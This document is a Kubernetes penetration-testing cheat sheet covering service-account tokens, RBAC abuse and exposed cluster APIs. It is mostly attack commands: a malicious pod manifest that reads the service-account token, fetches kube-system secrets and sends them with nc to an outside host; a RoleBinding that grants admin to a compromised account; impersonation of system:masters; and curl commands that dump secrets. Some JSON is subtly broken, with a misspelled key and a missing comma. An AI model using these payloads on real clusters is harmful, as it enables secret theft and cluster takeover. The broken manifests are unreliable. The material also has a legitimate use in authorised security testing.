Kubernetes

> Kubernetes is an open-source container-orchestration system for automating application deployment, scaling, and management. It was originally designed by Google, and is now maintained by the Cloud Native Computing Foundation.

Summary

Tools

- kubeaudit - Audit Kubernetes clusters against common security concerns
- kubesec.io - Security risk analysis for Kubernetes resources
- kube-bench - Checks whether Kubernetes is deployed securely by running CIS Kubernetes Benchmark
- kube-hunter - Hunt for security weaknesses in Kubernetes clusters
- katacoda - Learn Kubernetes using interactive broser-based scenarios
- kubescape - Automate Kubernetes cluster scans to identify security issues

Container Environment

Containers within a Kubernetes cluster automatically have certain information made available to them through their container environment. Additional information may have been made available through the volumes, environment variables, or the downward API, but this section covers only what is made available by default.

Service Account

Each Kubernetes pod is assigned a service account for accessing the Kubernetes API. The service account, in addition to the current namespace and Kubernetes SSL certificate, are made available via a mounted read-only volume:

```
/var/run/secrets/kubernetes.io/serviceaccount/token
/var/run/secrets/kubernetes.io/serviceaccount/namespace
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
```

If the `kubectl` utility is installed in the container, it will use this service account automatically and will make interacting with the cluster much easier. If not, the contents of the `token` and `namespace` files can be used to make HTTP API requests directly.

Environment Variables

The `KUBERNETES_SERVICE_HOST` and `KUBERNETES_SERVICE_PORT` environment variables are automatically provided to the container. They contain the IP address and port number of the Kubernetes master node. If `kubectl` is installed, it will use these values automatically. If not, the values can be used to determine the correct IP address to send API requests to.

```
KUBERNETES_SERVICE_HOST=192.168.154.228
KUBERNETES_SERVICE_PORT=443
```

Additionally, environment variables are automatically created for each Kubernetes service running in the current namespace when the container was created. The environment variables are named using two patterns:

- A simplified `{SVCNAME}_SERVICE_HOST` and `{SVCNAME}_SERVICE_PORT` contain the IP address and default port number for the service.
- A Docker links collection of variables named `{SVCNAME}_PORT_{NUM}_{PROTOCOL}_{PROTO|PORT|ADDR}` for each port the service exposes.

For example, all of the following environment variables would be available if a `redis-master` service were running with port 6379 exposed:

```
REDIS_MASTER_SERVICE_HOST=10.0.0.11
REDIS_MASTER_SERVICE_PORT=6379
REDIS_MASTER_PORT=tcp://10.0.0.11:6379
REDIS_MASTER_PORT_6379_TCP=tcp://10.0.0.11:6379
REDIS_MASTER_PORT_6379_TCP_PROTO=tcp
REDIS_MASTER_PORT_6379_TCP_PORT=6379
REDIS_MASTER_PORT_6379_TCP_ADDR=10.0.0.11
```

Simulating `kubectl` API Requests

Most containers within a Kubernetes cluster won't have the `kubectl` utility installed. If running the one-line `kubectl` installer within the container isn't an option, you may need to craft Kubernetes HTTP API requests manually. This can be done by using `kubectl` *locally* to determine the correct API request to send from the container.

1. Run the desired command at the maximum verbosity level using `kubectl -v9 ...`
2. The output will include HTTP API endpoint URL, the request body, and an example curl command.
3. Replace the endpoint URL's hostname and port with the `KUBERNETES_SERVICE_HOST` and `KUBERNETES_SERVICE_PORT` values from the container's environment variables.
4. Replace the masked "Authorization: Bearer" token value with the contents of `/var/run/secrets/kubernetes.io/serviceaccount/token` from the container.
5. If the request had a body, ensure the "Content-Type: application/json" header is included and send the request body using the customary method (for curl, use the `--data` flag).

For example, this output was used to create the Service Account Permissions request:

```
# NOTE: only the Authorization and Content-Type headers are required. The rest can be
omitted.
$ kubectl -v9 auth can-i --list
I1028 18:58:38.192352   76118 loader.go:359] Config loaded from file
/home/example/.kube/config
I1028 18:58:38.193847   76118 request.go:942] Request Body:
{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","metadata":
{"creationTimestamp":null},"spec":{"namespace":"default"},"status":
{"resourceRules":null,"nonResourceRules":null,"incomplete":false}}
I1028 18:58:38.193912   76118 round_trippers.go:419] curl -k -v -XPOST  -H "Accept:
application/json, */*" -H "Content-Type: application/json" -H "User-Agent:
kubectl/v1.14.10 (linux/amd64) kubernetes/f5757a1"
'https://1.2.3.4:5678/apis/authorization.k8s.io/v1/selfsubjectrulesreviews'
I1028 18:58:38.295722   76118 round_trippers.go:438] POST
https://1.2.3.4:5678/apis/authorization.k8s.io/v1/selfsubjectrulesreviews 201 Created
in 101 milliseconds
I1028 18:58:38.295760   76118 round_trippers.go:444] Response Headers:
...
```

Information Gathering

Service Account Permissions

The default service account may have been granted additional permissions that make cluster compromise or lateral movement easier.
The following can be used to determine the service account's permissions:

```
# Namespace-level permissions using kubectl
kubectl auth can-i --list

# Cluster-level permissions using kubectl
kubectl auth can-i --list --namespace=kube-system

# Permissions list using curl
NAMESPACE=$(cat "/var/run/secrets/kubernetes.io/serviceaccount/namespace")
# For cluster-level, use NAMESPACE="kube-system" instead

MASTER_URL="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
TOKEN=$(cat "/var/run/secrets/kubernetes.io/serviceaccount/token")
curl "${MASTER_URL}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
  --cacert "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt" \
  --header "Authorization: Bearer ${TOKEN}" \
  --header "Content-Type: application/json" \
  --data
'{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":
{"namespace":"'${NAMESPACE}'"}}'
```

Secrets, ConfigMaps, and Volumes

Kubernetes provides Secrets and ConfigMaps as a way to load configuration into containers at runtime. While they may not lead directly to whole cluster compromise, the information they contain can lead to individual service compromise or enable lateral movement within a cluster.

From a container perspective, Kubernetes Secrets and ConfigMaps are identical. Both can be loaded into environment variables or mounted as volumes. It's not possible to determine if an environment variable was loaded from a Secret/ConfigMap, so each environment variable will need to be manually inspected. When mounted as a volume, Secrets/ConfigMaps are always mounted as read-only tmpfs filesystems. You can quickly find these with `grep -F "tmpfs ro" /etc/mtab`.

True Kubernetes Volumes are typically used as shared storage or for persistent storage across restarts. These are typically mounted as ext4 filesystems and can be identified with `grep -wF "ext4" /etc/mtab`.

Privileged Containers

Kubernetes supports a wide range of security contexts for container and pod execution. The most important of these is the "privileged" security policy which makes the host node's devices available under the container's `/dev` directory. This means having access to the host's Docker socket file (allowing arbitrary container actions) in addition to the host's root disks (which can be used to escape the container entirely).

While there is no official way to check for privileged mode from *within* a container, checking if `/dev/kmsg` exists will usually suffice.

RBAC Configuration

Listing Secrets

An attacker that gains access to list secrets in the cluster can use the following curl commands to get all secrets in "kube-system" namespace.

```
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:
<port>/api/v1/namespaces/kube-system/secrets/
```

Access Any Resource or Verb

```
resources:
- '*'
verbs:
- '*'
```

Pod Creation

Check your right with `kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml`. Then create a malicious pod.yaml file.

```
apiVersion: v1
kind: Pod
metadata:
  name: alpine
  namespace: kube-system
spec:
  containers:
  - name: alpine
    image: alpine
    command: ["/bin/sh"]
    args: ["-c", 'apk update && apk add curl --no-cache; cat
/run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H
"Authorization: Bearer $TOKEN" -H "Content-Type: application/json"
https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv
192.168.154.228 6666; sleep 100000']
  serviceAccountName: bootstrap-signer
  automountServiceAccountToken: true
  hostNetwork: true
```

Then `kubectl apply -f malicious-pod.yaml`

Privilege to Use Pods/Exec

```
kubectl exec -it <POD NAME> -n <PODS NAMESPACE> –- sh
```

Privilege to Get/Patch Rolebindings

The purpose of this JSON file is to bind the admin "CluserRole" to the compromised service account. Create a malicious RoleBinging.json file.

```
{
    "apiVersion": "rbac.authorization.k8s.io/v1",
    "kind": "RoleBinding",
    "metadata": {
        "name": "malicious-rolebinding",
        "namespcaes": "default"
    },
    "roleRef": {
        "apiGroup": "*",
        "kind": "ClusterRole",
        "name": "admin"
    },
    "subjects": [
        {
            "kind": "ServiceAccount",
            "name": "sa-comp"
            "namespace": "default"
        }
    ]
}
```

```
curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" -H "Content-Type:
application/json" https://<master_ip>:
<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings -d
@malicious-RoleBinging.json
curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>" -H "Content-
Type: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-
system/secret
```

Impersonating a Privileged Account

```
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" -H
"Impersonate-Group: system:masters" -H "Impersonate-User: null" -H "Accept:
application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```

Privileged Service Account Token

```
$ cat /run/secrets/kubernetes.io/serviceaccount/token
$ curl -k -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:
<port>/api/v1/namespaces/default/secrets/
```

Interesting endpoints to reach

```
# List Pods
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:
<port>/api/v1/namespaces/default/pods/

# List secrets
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:
<port>/api/v1/namespaces/default/secrets/

# List deployments
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:
<port>/apis/extensions/v1beta1/namespaces/default/deployments

# List daemonsets
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:
<port>/apis/extensions/v1beta1/namespaces/default/daemonsets
```

API addresses that you should know

(External network visibility)

cAdvisor

```
curl -k https://<IP Address>:4194
```

Insecure API server

```
curl -k https://<IP Address>:8080
```

Secure API Server

```
curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
```

etcd API

```
curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```

Kubelet API

```
curl -k https://<IP address>:10250
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
```

kubelet (Read only)

```
curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods
```

References

- Kubernetes Pentest Methodology Part 1 - by Or Ida on August 8, 2019
- Kubernetes Pentest Methodology Part 2 - by Or Ida on September 5, 2019
- Kubernetes Pentest Methodology Part 3 - by Or Ida on November 21, 2019
- Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon
- Kubernetes Pod Privilege Escalation